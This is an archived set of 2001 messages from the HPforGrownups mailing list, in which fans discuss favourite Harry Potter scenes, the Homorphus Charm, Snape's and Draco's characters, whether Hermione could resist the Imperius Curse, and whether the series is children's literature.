From aleksrothis at yahoo.co.uk  Sat Sep  1 00:32:47 2001
From: aleksrothis at yahoo.co.uk (Aleks)
Date: Sat, 01 Sep 2001 00:32:47 -0000
Subject: Favourite Quotes and/or Scenes...
In-Reply-To: <F2317w4pUniTwiwzRJF00002226@hotmail.com>
Message-ID: <9mpabf+55ia@eGroups.com>

No: HPFGUIDX 25309

--- In HPforGrownups at y..., "princesskatie115 -" 
<princesskatie115 at h...> wrote:
> Just wondering what quotes or scenes in the HP series really popped 
out at 
> you (whether clever, funny, touching, etc.) and have become your 
favourites!
> 
> Katie**
> 

>From the same chapter in GoF as yours, when Arthur Weasley looks at 
the Dursley's tv etc and tells them that he collects plugs, "my wife 
thinks I'm quite mad..." and then later Gred and Forge refer to that 
when Arthur rushes off to help out "'Mad-Eye' Moody", "well Dad 
collects plugs doesn't he?" (Okay, not exact quotes, don't have my 
books with me)

I can just imagine Arthur out in his shed with a box of plugs, along 
with all the rest of his collection of Muggle junk. 

Aleks




From editor at texas.net  Sat Sep  1 01:23:04 2001
From: editor at texas.net (Amanda Lewanski)
Date: Fri, 31 Aug 2001 20:23:04 -0500
Subject: [HPforGrownups] DADA
References: <F239kSpdVyxX81He52L00002240@hotmail.com>
Message-ID: <3B903878.C6BBB6B1@texas.net>

No: HPFGUIDX 25310

princesskatie115 - wrote:

> It looks as if I copied Amanda Lewanski's post...*cringe* Almost word for
> word as a matter of fact....

I'm really, really hoping you're cringing because we might think you copied it, not because you don't want credit for something *I* put forward....

> But I DIDN'T! I SWEAR!

Yeah, sure, right. There's a vast conspiracy out there to steal all my ideas, I just know it, and you're part of it, don't deny it, I can tell.....

> Sorry guys, nobody wants to read the same thing twice, but my e-mail is
> being EXTREMELY temperamental today and Amandas post wasnt behaving itself and wouldnt open for me!

Ye gods, now my postings misbehave? My kids' chaos fields must be bleeding over. Seriously, Katie, worry not. I can't count the times I've posted what I
thought was a brilliant insight, to a resounding chorus of crickets, and then someone else posted something very similar and started a rousing thread. And
I've read plaintive complaints from others, every so often, mentioning they've experienced the same phenomenon. It *is* disheartening, but I think it has
more to do with the oddities of Yahoo deliveries and other mail system gremlins than any intent to ignore or anything. [I hope.]

My brilliant goblin theory, on the other hand, has twice been not copied and pretty thoroughly ignored, alas. I know, it's so pedestrian, waging war through
economic bases; perhaps 'tis not the stuff of great stories. But it *would* work.....

--Amanda, sternly telling her post to behave




From pbnesbit at msn.com  Sat Sep  1 01:26:05 2001
From: pbnesbit at msn.com (pbnesbit at msn.com)
Date: Sat, 01 Sep 2001 01:26:05 -0000
Subject: - OoP timing 
In-Reply-To: <9moplv+najh@eGroups.com>
Message-ID: <9mpdfd+r5sh@eGroups.com>

No: HPFGUIDX 25311

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:

(Snip)

> OK> That said, I don't know how you all are handling it so well.  I 
> didn't start reading Book 1 until last fall.  It took me a while to 
> move onto the others, and I didn't finish the series until this 
> spring.  Then I reread the whole series to my daughter (Phew!), we 
> listened to the tapes this summer and now . . . we've hit the 
wall.  
> No new "fix" until July, unless you count the movie.  Aarg!
> 
> Cindy (not very good at waiting, and would offer to help JKR if she 
> would take my calls)

Handling it well?  Let me see...before OotP comes out I will have 
read the books for the hundredth (at least) time, seen the movie 
several times, read enormous amounts of fanfiction, and written 
enormous amounts of fanfiction. Oh, and let's not leave out keeping 
up with the 60 or so Harry Potter MLs I'm on.  That's the only way 
I'm surviving!

Peace & Plenty, 

Parker 







From editor at texas.net  Sat Sep  1 01:27:17 2001
From: editor at texas.net (Amanda Lewanski)
Date: Fri, 31 Aug 2001 20:27:17 -0500
Subject: [HPforGrownups] Favourite Quotes and/or Scenes...
References: <F2317w4pUniTwiwzRJF00002226@hotmail.com>
Message-ID: <3B903974.73F2B65@texas.net>

No: HPFGUIDX 25312

princesskatie115 - wrote:

> Please share your favourites! I would absolutely L-O-V-E to hear them!!

Three, off the top of my head....

--The staffroom scene, where they all band together to beard Lupin

--The duelling scene

--The showdown in Snape's office when he's caught Harry just after he got back from Hogsmeade

Amazing, isn't it, that they all have Snape in them....what a coincidence...

--Amanda




From editor at texas.net  Sat Sep  1 01:42:16 2001
From: editor at texas.net (Amanda Lewanski)
Date: Fri, 31 Aug 2001 20:42:16 -0500
Subject: [HPforGrownups] Re: Homorphus Charm (was DADA)
References: <9mnu81+p103@eGroups.com>
Message-ID: <3B903CF7.DD8FCB8B@texas.net>

No: HPFGUIDX 25313

I said, regarding the Homorphus Charm:

> > Because this spell is not a cure. This spell, in my opinion, turns a
> transformed (for whatever reason) human back into his/her human form,
> for an unspecified length of time. It isn't permanent. The reason the
> village was saved by use of this spell, is that its casting upon the
> werewolf allowed identification of his human identity, and then
> steps could be taken to contain the danger. But we are told by
> trustworthy sources in the books that there is no cure, and that the
> recently discovered Wolfsbane Potion is the only way to control it.

Cindy responded:

> I never thought of that.  But if this spell temporarily transforms the
> werewolf back into a man, Black could have used it on Lupin instead of
> chasing him into the forest.  That likely would have prevented
> Pettigrew's escape.  Maybe Black doesn't know this spell? Is this the
> same spell Lupin and Black used to transform Pettigrew?

Lockhart describes having to wrestle the werewolf down before he could
perform the spell. I infer from this that the object of the charm must
be stationary. Lockhart called it "the immensely complex Homorphus
Charm," so there must be more involved that casting the spell after a
retreating target. Remember, Lockhart himself never *did* wrestle the
werewolf or cast the spell, but he didn't write fiction, either--he
stole someone else's deed, which means someone else *did* do it. So
there's no reason to doubt the charm exists, or that someone could cast
it, we just know *Lockhart* couldn't.

Anyway, my point is, I think the object upon whom you are casting this
charm has to stay put for at least a minute or two, and Sirius never had
that opportunity in the tussle with Lupin.

--Amanda


[Non-text portions of this message have been removed]




From pbnesbit at msn.com  Sat Sep  1 01:43:42 2001
From: pbnesbit at msn.com (pbnesbit at msn.com)
Date: Sat, 01 Sep 2001 01:43:42 -0000
Subject: Favourite Quotes and/or Scenes...
In-Reply-To: <3B903974.73F2B65@texas.net>
Message-ID: <9mpege+pr5n@eGroups.com>

No: HPFGUIDX 25314

--- In HPforGrownups at y..., Amanda Lewanski <editor at t...> wrote:
> princesskatie115 - wrote:
> 
> > Please share your favourites! I would absolutely L-O-V-E to hear 
them!!
> 
> Three, off the top of my head....
> 
> --The staffroom scene, where they all band together to beard Lupin
> 
> --The duelling scene
> 
> --The showdown in Snape's office when he's caught Harry just after 
he got back from Hogsmeade
> 
> Amazing, isn't it, that they all have Snape in them....what a 
coincidence...
> 
> --Amanda

I love those three (only I think Amanda meant to say Lockhart instead 
of Lupin for the first one).  

And I'll add these five...

Snape's speech in Harry's first Potions class

Lupin's scene with Peeves 

Lupin's first DADA class with the boggart

Lupin's confrontation of the Dementor on the train

The entire Shrieking Shack scene

Notice they've all got Sirius, Severus, and Remus in them.  Wonder 
why...

Peace & Plenty, 

Parker 




From princesskatie115 at hotmail.com  Sat Sep  1 02:59:35 2001
From: princesskatie115 at hotmail.com (princesskatie115 -)
Date: Sat, 01 Sep 2001 02:59:35 +0000
Subject: [HPforGrownups] DADA
Message-ID: <F199APDVXLuSbh29cM300003016@hotmail.com>

No: HPFGUIDX 25315


Amanda, Amanda, Amanda...

Watch your back, we're *all* conspiring against you...you and your goblin 
theory! MWAHAHA! Speaking of your goblin theory...I am pushing the soap-box 
over to you now...do step up and share it with the class, I'm sure we'd all 
like to hear it (Now that my mail is behaving itself.)

Katie**


>From: Amanda Lewanski <editor at texas.net>
>Reply-To: HPforGrownups at yahoogroups.com
>To: HPforGrownups at yahoogroups.com
>Subject: Re: [HPforGrownups] DADA
>Date: Fri, 31 Aug 2001 20:23:04 -0500
>
>princesskatie115 - wrote:
>
> > It looks as if I copied Amanda Lewanski's post...*cringe* Almost word 
>for
> > word as a matter of fact....
>
>I'm really, really hoping you're cringing because we might think you copied 
>it, not because you don't want credit for something *I* put forward....
>
> > But I DIDN'T! I SWEAR!
>
>Yeah, sure, right. There's a vast conspiracy out there to steal all my 
>ideas, I just know it, and you're part of it, don't deny it, I can 
>tell.....
>
> > Sorry guys, nobody wants to read the same thing twice, but my e-mail is
> > being EXTREMELY temperamental today and Amandas post wasnt behaving 
>itself and wouldnt open for me!
>
>Ye gods, now my postings misbehave? My kids' chaos fields must be bleeding 
>over. Seriously, Katie, worry not. I can't count the times I've posted what 
>I
>thought was a brilliant insight, to a resounding chorus of crickets, and 
>then someone else posted something very similar and started a rousing 
>thread. And
>I've read plaintive complaints from others, every so often, mentioning 
>they've experienced the same phenomenon. It *is* disheartening, but I think 
>it has
>more to do with the oddities of Yahoo deliveries and other mail system 
>gremlins than any intent to ignore or anything. [I hope.]
>
>My brilliant goblin theory, on the other hand, has twice been not copied 
>and pretty thoroughly ignored, alas. I know, it's so pedestrian, waging war 
>through
>economic bases; perhaps 'tis not the stuff of great stories. But it *would* 
>work.....
>
>--Amanda, sternly telling her post to behave
>


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From katzefan at yahoo.com  Sat Sep  1 03:56:50 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Sat, 01 Sep 2001 03:56:50 -0000
Subject: =?iso-8859-1?q?Children=92s_books,_Snape,_Homorphous_Charm,_Slytherin?=
Message-ID: <9mpma2+fldu@eGroups.com>

No: HPFGUIDX 25316

My computer programs have been *very* uncooperative in last 48 
hours, so please please forgive me for putting in my 2 Knuts on 
the subject of children's literature rather on the late side.

I don't see why the HP series couldn't qualify as both
children's and adults' literature -- although sometimes I
think the category `children's books' is an extremely
arbitrary one, into which critics/reviewers/marketers toss books 
that they can't easily pigeonhole - or find the subject matter too
`immature' (I am, of course, leaving aside the really obvious 
children's books - you know, the ones with one sentence per 
page). Besides the HP books, I'm thinking of many of Robert
Heinlein's books, which were also consigned to this limbo, 
because they dealt with such unrealistic things as space and 
time travel, which surely are not *adult* subjects, right? :) 
As to the complexity of the later HP books, so what if kids miss a 
lot the first time around? There's nothing quite like the thrill
of reading something 3 or 4 years after the first time you cracked 
the book and suddenly seeing things you didn't see the first 
time.

On another topic, Penny and Bryce pointed out something 
interesting about the fact that Percy has a job but still lives at 
home - we just had an article in the local papers here about 
exactly that sort of thing, and the fact that, in some cultures,
it's not only *not* strange, it's expected, at least partly
because,as adults, they are expected now to help out their 
parents. And as one interviewee put it, if he left home for no 
apparent reason (i.e. he hadn't gotten married, nor gotten a job 
halfway across the country) friends and relatives would wonder 
what's wrong in the family that he would want to get away from 
his parents. 
The notion that leaving home = adulthood is one that is prevalent 
in Western Europe (and much of North America), but not 
necessarily throughout other cultures.

..Gwen wrote an impassioned defence of Snape, ending with 
>Okay. Tear me apart, I'm ready!
>Gwen

Give me a shout and I'll send a cat or two over to help you out, 
Gwen. I find Snape to be, without question, *the* most engimatic 
- and thereby fascinating - character JKR has created (not 
particularly nice, just fascinating). Just when you want to believe 
he really is a [expletive deleted] Death Eater, he pulls something 
you weren't expecting - like protecting Harry in Book 1, like
having turned against the Death Eaters `at great personal
risk' (as we find out in Book 4) and various examples in 
between. Most of the other characters, good or bad, could switch, 
given the right conditions, but at least for the moment readers 
have a fair idea who's a good guy and who's not ... except
when it comes to Snape.


>From:??blpurdom at y...
>Subject:? Arithmancy/OotP/Evil Draco 2. Timing for OotP
>I'm not at all surprised it's taking a while.  (July 2002) She's 
>famous now, she wrote two Comic Relief books, the touring for 
>GoF alone must have taken her ages, and she's been keeping 
>an eye on the movie production.  Plus, casting for CoS is taking 
>place now and soon she'll be on chat shows around the world 
>in connection with the PS/SS movie release.  Considering that 
>she used to write in a cafe which she probably can't get near 
>anymore without being recognized, I'm amazed that we recently 
>received word that the manuscript is at the publisher's.

Is it?!! YEE-HAA!!


Parker said:
> >They do cover the Homorphous Charm,
> >which turns a werewolf back into a
> >person,
Kelly Hurt said:
> If this is real, why doesn't Dumbledore cure Lupin?

Keep in mind who was performing this spell - Lockhart, the guy 
with forty-two 90-watt teeth and no real capability. This is the guy 
who stole other people's activities and passed them off as his 
own in his books. It would be just like him to yatter on about a 
charm that he actually knows little or nothing about. (I like 
Amanda's idea that the charm turns a werewolf back into his/her 
human form *temporarily* which would at least allow the 
community to know who it was.)


*************************************************

"For your information, Potter, asphodel and wormwood make a 
sleeping potion so powerful it is known as the Draught of Living 
Death. A bezoar is a stone taken from the stomach of a goat and 
it will save you from most poisons. As for monkshood and 
wolfsbane, they are the same plant, which also goes by the 
name of aconite. Well? Why aren't you all copying that down?"
- Snape in PS/SS






From katzefan at yahoo.com  Sat Sep  1 04:03:54 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Sat, 01 Sep 2001 04:03:54 -0000
Subject: CoS - Ch. 12 questions
Message-ID: <9mpmna+7ei4@eGroups.com>

No: HPFGUIDX 25317

1.  Did Snape know before the episode at the duelling club that 
Harry was a Parselmouth?

I don't think so, because when Harry calls off the snake, Snape 
disposes of the it and then gives Harry a `shrewd and calculating 
look.' I think Snape figured Harry would either freeze with fear
or run - Harry's ability to speak to the snake was totally
unexpected.

2.  Why was Snape looking at Harry with '...a shrewd and 
calculating look' after he told the snake to mind its manners?

I think he's reassessing Harry, in the wake of Harry showing a 
totally unexpected skill that was specifically linked to Salazar 
Slytherin.

3.  Fred and George cover themselves with fur and boils and 
jump out at Ginny (who's upset that Colin's been Petrified).  Do 
you think they're callous? 

Yes, in the way all siblings can be callous towards each other. 
How many kids chase a (usually younger) sibling around with a 
snake, spider or some other loathsome creature specifically 
because they know the youngster is frightened of the critter? I 
was pleased when Percy ("apoplectic with rage") threatens
them with a letter to their mother unless they cut it out.

4.  Do you think Fawkes's plumage colour is significant?

Hmmm ... hadn't noticed that before. Those *are* Gryffindor's 
colours, aren't they ...? 

5.  Why doesn't Harry tell Dumbledore what's bothering him? 

I think because Harry's already worried about hearing voices no 
one else can hear, and now he finds out he's got a skill that 
Salazar Slytherin was famous for - and Slytherin turns out all the 
evil wizards and witches. I suspect he doesn't want to tell 
Dumbledore at least partly because he's not sure he wants to 
hear what Dumbledore's explanation/reaction is -- will Harry be 
shifted to Slytherin? Or worse, expelled from Hogwarts? Will he 
suddenly become a pariah (which he very nearly does, as the 
attacks continue)? 

6.  Why was Harry in the Transfiguration corridor?  Is that the way 
to Gryffindor Tower?

Does this refer to the point where he stumbles over Justin Finch-
Fletchley? If so, he had just told Hagrid he had Transfiguration 
class next and I assume he was on his way there.

7.  Who sets the passwords to the common rooms?  Do you 
think the choice of passwords is important? Significant?  

Actually, I'm not sure who sets the passwords - I always 
assumed it was the heads of the various houses, but in PoA, 
after the Fat Lady's portrait is so badly damaged and Sir 
Cadogan temporarily put in her place, he spends `half his time 
thinking up challenging people to duels, and the rest thinking up 
ridiculously complicated passwords, which he changed at least 
twice a day.' 
Certainly some of the passwords are significant - in CoS, the 
new password for Slytherin is `pure-blood.' - but earlier in
CoS, the password for Gryffindor was `wattlebird', which
doesn't have any significance that I can think of (particularly
as the first thing it  brings to mind is a turkey -- a large bird
with wattles). And in PoA, one of Sir Cadogan's passwords is 
`Oddsbodikins', which merely sounds antiquated and 
nonsensical. But in PS/SS, the first password we hear for 
Gryffindor is `Caput Draconis,' which has something to do
with dragons (my Latin being pretty much nonexistent.) So I 
guess in conclusion I'd have to say some passwords are 
significant - and some ain't.




From catlady at wicca.net  Sat Sep  1 04:48:22 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 01 Sep 2001 04:48:22 -0000
Subject: Draco re Cedric..wasLily/Snape
In-Reply-To: <9mov13+ki4n@eGroups.com>
Message-ID: <9mppam+30cf@eGroups.com>

No: HPFGUIDX 25318

P.S. (That means Pre-Script), Amanda, once you stated your 
(husband's) that Voldemort will attempt to gain the goblins as allies 
and if he succeeds, he will have control of everyone's life savings 
(except what is in their mattress or sugar bowl), valuables stored in 
safe deposit, and ability to convert between Muggle and magic money 
because of Gringotts being the only bank, then it was obvious, and 
there is nothing more to be said. One gets more replies by making an 
error than by revealing a profound insight.

--- In HPforGrownups at y..., Koinonia2 at h... wrote:

> I wonder if Draco was really happy to see Cedric die. Draco might
> be just as sad and afraid as every other kid at Hogwarts.  He just
> can't show it.

Draco SHOULDN'T have been happy to see Cedric die, should not have 
gloated over it. I don't mean 'should' as in morality, but Cedric 
was a pureblood, a good athlete and adequate magic user, as well as 
being good-looking, and surely was exactly the type of person who 
would be a useful recruit to the Dark Side. 

If Draco believed that Cedric had been killed in combat fighting on 
belief of Draco's enemy side against the Lord of Draco's side (and 
Dumbledore hardly told the students that Cedric was merely the victim 
of Dispose of the Spare) then Draco might not want to drink a toast 
in his honor (quite a few USAmericans would not be willing to drink a 
toast in honor of a person who had, however sincerely, however 
heroically, died fighting for Naziism or Communism).

But SURELY Draco should have felt regret that Cedric's talents and 
good pureblood genes had been lost to the Dark Side just because 
he'd been brainwashed by that Mugglelover of a father of his and no 
Dark Sider had shown him the //light// right side to be on in time.




From shall at sfiweb.demon.co.uk  Sat Sep  1 10:21:44 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Sat, 1 Sep 2001 11:21:44 +0100
Subject: [HPforGrownups] Favourite Quotes and/or Scenes...
In-Reply-To: <F2317w4pUniTwiwzRJF00002226@hotmail.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKCEBJDMAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 25319

>(From Back to the Burrow in GoF where Gred and Forge plant the ton-tongue
toffee for Dudley on the way out makes me laugh every time I read it)

>Aunt Petunia hurled herself onto the ground beside Dudley, seized the end
of his swollen tongue and attempted to wrench it out of his moth;
>unsurprisingly, Dudley yelled and spluttered worse than ever, trying to
fight her off. Uncle Vernon was bellowing and waving his arms around, and
>Mr. Weasley had to shout to make himself heard.

I've never understood why the Ton-Tongue Toffee doesn't get up there in the
list of "supposedly hilarious pranks with a fair chance of killing the
victim" - if you didn't have someone on hand with both the skills and the
presence of mind to reverse the engorgement charm or, alternatively, if
Muggle, to do the emergency tracheotomy thing with the ball point pen that
first aiders all seem to be panting for an opportunity to try I should have
thought that there was a real chance of someone suffocating.  Can I add it
in as a third example to consider, next time we are arguing about the
comparative evils of dressing up as the personification of clinical
depression to scare someone into a fifty foot fall   and sending someone
down a tunnel to meet your best friend whose having a bad bout of HSS (Hairy
Snout Syndrome), and whether the perpetrators of the above are evil or not?

Susan





From shall at sfiweb.demon.co.uk  Sat Sep  1 10:21:47 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Sat, 1 Sep 2001 11:21:47 +0100
Subject: [HPforGrownups] DADA
In-Reply-To: <3B903878.C6BBB6B1@texas.net>
Message-ID: <NCBBLOIDFHFLKCOIHJBKEEBJDMAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 25320


>My brilliant goblin theory, on the other hand, has twice been not copied
and pretty thoroughly ignored, alas. I know, it's so pedestrian, waging war
through
>economic bases; perhaps 'tis not the stuff of great stories. But it *would*
work.....

-->Amanda, sternly telling her post to behave

Amanda, do not think your goblin idea has dropped unnoticed  - I think it's
absolutely brilliant. Unfortunately it's far too strategic for Voldie so
Lucius will have to push it through as an idea concealed as something
messier involving far more explosions and innocent bystanders.

Furthermore, it also inspired me to bring Gringotts Gruinard Offshore Trust
fund into my current work in progress, so keep the murky goblin finance
ideas coming.

susan






From meboriqua at aol.com  Sat Sep  1 12:50:55 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 01 Sep 2001 12:50:55 -0000
Subject: Favourite Quotes and/or Scenes...
In-Reply-To: <F2317w4pUniTwiwzRJF00002226@hotmail.com>
Message-ID: <9mqljf+99m3@eGroups.com>

No: HPFGUIDX 25321

--- In HPforGrownups at y..., "princesskatie115 -" 
<princesskatie115 at h...> wrote:

> Just wondering what quotes or scenes in the HP series really popped 
out at  you (whether clever, funny, touching, etc.) and have become 
your favourites!>

There are too many funny moments for me to just list one, but my 
favorite serious (and no pun intended here) is:
"If you want to know what a man's like, take a good look at how he 
treats his inferiors, not his equals"  -Sirius Black, GoF

My favorite scene in the entire series has got to be all of 
"Hermione's Secret", chapter 21, PoA.

My second favorite scene is "The Leaky Cauldron", chapter 4, PoA.

What I wouldn't give to spend a week in Diagon Alley...

--jenny from ravenclaw **************************************




From meboriqua at aol.com  Sat Sep  1 13:02:24 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 01 Sep 2001 13:02:24 -0000
Subject: Could Hermione Fight the Imperius Curse?
Message-ID: <9mqm90+hb53@eGroups.com>

No: HPFGUIDX 25322

Last night I was chatting with Ebony (waves in the direction of 
Detroit) and, of course, we talked about HP.  Now, many of us here 
speculate about Ron and how he might somehow lulled to the Dark Side, 
whether it be through the Imperius Curse or something else.

In GoF, Harry was able to throw the curse but Ron was not.  Hermione 
was not mentioned.  I, for one, think that her studious ways are only 
a part of her talent and would venture to say that she is extremely 
talented and strong and could possibly throw off the curse too.  I 
cannot see her being controlled.

Does anyone else think Hermione could throw off the Imperius Curse?  
Why?

--jenny from ravenclaw, who is really hoping that she actually 
stumbled upon a *gasp* new topic here **********************




From issybizz at hotmail.com  Sat Sep  1 14:06:05 2001
From: issybizz at hotmail.com (issybizz at hotmail.com)
Date: Sat, 01 Sep 2001 14:06:05 -0000
Subject: Favourite Quotes and/or Scenes... 
Message-ID: <9mqq0d+80gs@eGroups.com>

No: HPFGUIDX 25323

<princesskatie115 at h...> wrote:
> Just wondering what quotes or scenes in the HP series really popped 
out at 
> you (whether clever, funny, touching, etc.) and have become your 
favourites!
> 
> Katie**
> 

The most touching scene for me is in GoF p550 where Cedric wouldn't 
touch the cup. EVERY time i read the scene a lump rises in my 
throught and i find it hard to fight back the tears.

Quote (Cedric was serious. He was walking way from the sort of glory 
Hufflepuff house hadn't had in centuries.)

Every single time i read Cedric's death and the build up 2 it, an 
overpowering surge of respect takes over me.

This is soooo touching! Cedric, a young, handsome, popular boy to 
whom in my mind would have become someone v. respected and important 
in the wizareding world. 




From cynthiaanncoe at home.com  Sat Sep  1 14:10:17 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 01 Sep 2001 14:10:17 -0000
Subject: Could Hermione Fight the Imperius Curse?
In-Reply-To: <9mqm90+hb53@eGroups.com>
Message-ID: <9mqq89+4vsm@eGroups.com>

No: HPFGUIDX 25324

---Jenny wrote
> In GoF, Harry was able to throw the curse but Ron was not.  
Hermione 
> was not mentioned.  I, for one, think that her studious ways are 
only 
> a part of her talent and would venture to say that she is extremely 
> talented and strong and could possibly throw off the curse too.  I 
> cannot see her being controlled.
> 
> Does anyone else think Hermione could throw off the Imperius 
Curse?  
> Why?
> 
Now, don't get me wrong.  I think Hermione is great.  But I don't 
think she could throw off an Imperius Curse.  Hermione works hard, 
can master anything that can be learned out of a book, has a good 
memory, and has good analytical skills.  So she's a whiz at charms, 
transfiguration, potions.  

But we've seen that maybe, just maybe, she doesn't do quite as well 
on things that depend on raw talent.  She can fly (PS/SS), but 
there's no evidence that she's especially good at it.  She never 
fights off a boggart (she fails this part of Lupin's final exam).  
Fighting off an Imperius Curse seems like something that depends 
largely on pure force of will -- there's no incantation.  (Although 
Ron complains that he hasn't had time to read up on fighting Imperius 
in GoF).  

But I'm willing to be persuaded to the contrary.

Cindy
----------------

"Harry liked Hermione very much, but she just wasn't the same as 
Ron.  There was much less laughter and a lot more hanging around in 
the library when Hermione was your best friend."  GoF




From cynthiaanncoe at home.com  Sat Sep  1 14:23:40 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 01 Sep 2001 14:23:40 -0000
Subject: Favourite Quotes and/or Scenes...
In-Reply-To: <9mqq0d+80gs@eGroups.com>
Message-ID: <9mqr1c+bdks@eGroups.com>

No: HPFGUIDX 25325

--- In HPforGrownups at y..., issybizz at h... wrote:
> <princesskatie115 at h...> wrote:
> > Just wondering what quotes or scenes in the HP series really 
popped 
> out at 
> > you (whether clever, funny, touching, etc.) and have become your 
> favourites!
> > 
> > Katie**
> > 
> 
> 

I have about 50 favorite scenes, so I'll go with one that I think is 
also a nice plot twist.  

In GoF, Moody turns Draco into "the amazing bouncing ferret."  
McGonnagall transfigures the ferret into Draco.  Then:

"Moody, we never use transfiguration as a punishment!" said Professor 
McGonagall weakly.  "Surely Professor Dumbledore told you that?"
"He might've mentioned it, yeah," said Moody, scratching his chin 
unconcernedly."  <snip>

Aside from being amusing, I think Crouch/Moody transfigures Draco 
because Crouch/Moody had no idea about this rule because he never had 
a talk with Dumbledore about the rules.  The real Moody did.  So JKR 
uses this scene to get us to like Moody, but it is also a subtle clue 
that Moody isn't who we think he is.  

Cindy





From supergirl1024 at yahoo.com  Sat Sep  1 14:34:55 2001
From: supergirl1024 at yahoo.com (Gwyneth)
Date: Sat, 01 Sep 2001 14:34:55 -0000
Subject: Could Hermione Fight the Imperius Curse?
In-Reply-To: <9mqm90+hb53@eGroups.com>
Message-ID: <9mqrmf+28b3@eGroups.com>

No: HPFGUIDX 25326

--- In HPforGrownups at y..., meboriqua at a... wrote:
> Last night I was chatting with Ebony (waves in the direction of 
> Detroit) and, of course, we talked about HP.  Now, many of us here 
> speculate about Ron and how he might somehow lulled to the Dark 
Side, 
> whether it be through the Imperius Curse or something else.
> 
> In GoF, Harry was able to throw the curse but Ron was not.  
Hermione 
> was not mentioned.  I, for one, think that her studious ways are 
only 
> a part of her talent and would venture to say that she is extremely 
> talented and strong and could possibly throw off the curse too.  I 
> cannot see her being controlled.
> 
> Does anyone else think Hermione could throw off the Imperius 
Curse?  
> Why?
> 
> --jenny from ravenclaw, who is really hoping that she actually 
> stumbled upon a *gasp* new topic here **********************

I think she could. We have seen many times (think Cos) that she is 
stubborn.  her stubborness shows strong will.




From heidi.h.tandy.c92 at alumni.upenn.edu  Sat Sep  1 14:49:15 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Sat, 1 Sep 2001 10:49:15 -0400 
Subject: [HPforGrownups] Re: Draco..wasLily/Snape
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2B1F@MIAEXCH1>

No: HPFGUIDX 25327

Sorry about not snipping the post- I can't on this blackberry...
Just a reminder, tho it has been said before- draco does raise his glass to
cedric. GoF clearly uses the word everyone. He does *not* to harry, but that
*is* different. 
Also, we know that lucius is critical of draco {scene from cos w/ borgin<
and abuses house elves. That is evidence that he might react negatively if
draco defied him. It's just part of the possibles...

-----Original Message-----
From: tillrules at aol.com <tillrules at aol.com>
To: HPforGrownups at yahoogroups.com <HPforGrownups at yahoogroups.com>
Sent: Fri Aug 31 18:05:21 2001
Subject: Re: [HPforGrownups] Re: Draco..wasLily/Snape

Real-To:  tillrules at aol.com

In a message dated 8/31/2001 2:22:06 PM Pacific Daylight Time, 
Koinonia2 at hotmail.com writes:

<< Tillrules also wrote:
 >He is excited to see Voldemort return.
 
 Again, what if he isn't?  He can't go around saying that.  

Why not? Again, there is no evidence of this theory of Draco only says this 
b/c his dad makes him.  It would be very easy for him to simply stay silent 
(which as I think someone said before the most likely response from Lucius
in 
hostile territory), but he goe sout of his way to confront Harry and say
that 
he told him he chose the wrong side, the first day they met.  Had he not 
wished to trumpet his happiness about the return of Voldemort, he simply 
could have sat sullenly in a corner.
 
 >Even the death of an innocent (Cedric) is not enough to lessen this 
 >happiness on his part.
 
 I wonder if Draco was really happy to see Cedric die. Draco might be 
 just as sad and afraid as every other kid at Hogwarts.  He just can't 
 show it.  
 
Again, there's no factual evidence to this and a lot of evidence that he's 
happy about what happened.  As I said above, he simply could have had no 
reaction in the final scenes.  He could have raised his glass to Cedric's 
name and explained it away as simply trying to "hide his true feelings" if 
any of his peers questioned him.  But he chose to make a statement and not 
raise his glass.  Also, note it is not the whole Slythierin table that 
doesn't raise their glasswes (I think this is the case, I don't have the
book 
in front of me), but JKR specifcally notes that Draco an dhis little group
of 
Slytherins don't.  Again, as leader of the group, he performs and action
that 
the others in his group, but not the entire house follows.

 >It would take some extreme & radical character changes to make his 
 >helping Harry possible and even more extreme circumstances to make 
 >it plausible.
 
 Sometimes it takes an extreme event to change a persons life.  We 
 still have 3 books to go!
  >>
True enough, but i cannot come up with a circumstance that would be 
sufficient.  Killing his family members, for example, may be enough, but I'm

not sure that's even enough to make him sympathetic enough to be likable.  
His decisin then would be revenge motivagted, not any change of heart.
Harry 
savuign him wouldmost likely lead to resentment, not change (given all of
the 
info we have so far) ala Snape.  A large body of fanfic aside, I cannot see
a 
plausible situation where he falls for someone romantically and reforms.
But 
that' s just me.


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From tabouli at unite.com.au  Sat Sep  1 16:32:59 2001
From: tabouli at unite.com.au (Tabouli)
Date: Sun, 2 Sep 2001 02:32:59 +1000
Subject: Kiddiefic reply, Moaning Myrtle
Message-ID: <00a501c13303$f79c0400$0693aecb@price>

No: HPFGUIDX 25328

bbennett:

> I don't refuse to identify the HP books as solely for children 
because I have patronizing ideas about children's literature.
 
Well sure, the patronising view of children's books is not universal (and probably less common among adult HP fans for obvious reasons), but if you cast your eye over non-fan induced commentary on HP on the Web, or ask around people who *haven't* read the books, I guarantee that patronisation of children's literature as a genre is alive and well and widespread.  The amount of people from all creeds and walks who hear of my liking for HP and sneer "... but aren't those *children's* books?"...
 
> My point remains this - I believe a well-written children's book should 
be fully *comprehensible* at the average young reader's level. If 
this criteria is not met, I don't think the book can be classified as 
strictly children's lit, and I don't believe Harry Potter meets this 
criteria.(...) Many people on this list have agreed 
that they believe some of the more complicated plot aspects of Harry 
Potter will not be fully understood until the reader is older, and I 
think we can expect the complexity of the series will increase as the 
books progress. There are other points that can be debated (...), but I see them as
secondary to the "yes or no - is this book completely understandable 
by a young reader?" question. 
 
"Completely understandable" is a pretty exacting criterion.  A child by no means has to completely understand a book to enjoy or appreciate it.
 
